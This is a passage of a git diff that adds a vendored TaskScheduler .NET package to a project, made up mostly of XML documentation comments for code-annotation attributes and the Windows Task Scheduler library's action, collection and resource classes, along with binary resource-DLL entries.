identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + foreach (var item in collection) { + //$ $END$ + } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + + + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + + + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the native array. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + +
+
diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/de/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/de/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..1b6be30 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/de/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/es/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/es/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..fb7bcc0 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/es/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/fr/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/fr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..711e059 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/fr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/it/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/it/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..f68d611 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/it/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/ja/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/ja/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..ee50c43 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/ja/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/pl/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/pl/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..3c7d075 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/pl/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/ru/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/ru/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..8429434 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/ru/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/sv/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/sv/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..953b366 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/sv/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/tr/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/tr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..9c72833 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/tr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..9d0d0e8 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..0ac43a2 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/Microsoft.Win32.TaskScheduler.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/Microsoft.Win32.TaskScheduler.dll new file mode 100644 index 0000000..8d86a5d Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/Microsoft.Win32.TaskScheduler.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/Microsoft.Win32.TaskScheduler.xml b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/Microsoft.Win32.TaskScheduler.xml new file mode 100644 index 0000000..741ff76 --- /dev/null +++ b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/Microsoft.Win32.TaskScheduler.xml @@ -0,0 +1,7855 @@ + + + + Microsoft.Win32.TaskScheduler + + + + Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name + of a document is provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + Abstract base class that provides the common properties that are inherited by all action objects. An action object is created by the + method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + Occurs when a property value changes. + + + Gets the type of the action. + The type of the action. + + + Gets or sets the identifier of the action. + + + Creates the specified action. + Type of the action to instantiate. + of specified type. + + + Creates a new object that is a copy of the current instance. + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Returns the action Id. + String representation of action. + + + Returns a that represents this action. + The culture. + String representation of action. + + + Creates a specialized class from a defined interface. + Version 1.0 interface. + Specialized action class + + + Creates a specialized class from a defined interface. + Version 2.0 Action interface. + Specialized action class + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. Only available for Task Scheduler 2.0 on + Windows Vista or Windows Server 2003 and later. + + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler + interface. There is a sample project that shows how to do this in the Downloads section. + + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Identifier of the handler class. + Addition data associated with the handler. + + + Gets or sets the identifier of the handler class. + + + Gets the name of the object referred to by . + + + Gets or sets additional data that is associated with the handler. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Gets the name for CLSID. + The unique identifier. + + + + + Represents an action that sends an e-mail. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and + later.This action has been deprecated in Windows 8 and later. However, this library is able to mimic its + functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value + containing a path to file. + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + Gets or sets the header information in the e-mail message to send. + + + Gets or sets the priority of the e-mail message. + A that contains the priority of this message. + + + Gets or sets the e-mail address that you want to reply to. + + + Gets or sets the name of the server that you use to send e-mail from. + + + Gets or sets the subject of the e-mail. + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + + + + + Creates a new instance of an that can be added to . + + + Creates a new instance of an that can be added to . + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + Gets or sets the path to an executable file. + + + + Gets or sets the directory that contains either the executable file or the files that are used by the executable file. + + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is + set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that shows a message box when a task is activated. Only available for Task Scheduler 2.0 on Windows Vista + or Windows Server 2003 and later.This action has been deprecated in Windows 8 and later. However, this + library is able to mimic its functionality using PowerShell if the property is + set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + + + + Creates a new unbound instance of . + + + Creates a new unbound instance of . + Message text that is displayed in the body of the message box. + Title of the message box. + + + Gets or sets the message text that is displayed in the body of the message box. + + + Gets or sets the title of the message box. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Options for when to convert actions to PowerShell equivalents. + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities + are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple + actions of all types. If not specified, only a single is supported. Developer must ensure that + PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + + Convert all actions regardless of version or operating system. + + + Collection that contains the actions that are performed by the task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets or sets the identifier of the principal for the task. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + + The PowerShell platform options. + + This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler. + + If set to , then no actions will ever be converted to PowerShell. This will + force exceptions to be thrown when unsupported actions our action quantities are found. + + + If set to , then actions will be converted only under Version 1 of the + library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified, + only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the + target computer. + + + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + If set to , then any actions not supported by the Task Scheduler version will be + converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + Gets the number of actions in the collection. + + + Gets or sets a specified action from the collection. + The . + The id ( ) of the action to be retrieved. + Specialized instance. + + + + Mismatching Id for action and lookup. + + + Gets or sets a an action at the specified index. + The zero-based index of the action to get or set. + + + Adds an action to the task. + A type derived from . + A derived class. + The bound that was added to the collection. + + + Adds an to the task. + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + The bound that was added to the collection. + + + Adds a new instance to the task. + Type of task to be created + Specialized instance. + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot + contain null elements. + + is null. + + + Clears all actions from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified action type is contained in this collection. + Type of the action. + true if the specified action type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an array of , starting at a particular index. + + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the + objects within the . + + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the action to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an action at the specified index. + The zero-based index at which action should be inserted. + The action to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the action at a specified index. + Index of action to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the actions in this collection. + A that represents the actions in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a name-value pair. + true if item successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to {3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Abstract class representing a secured item for 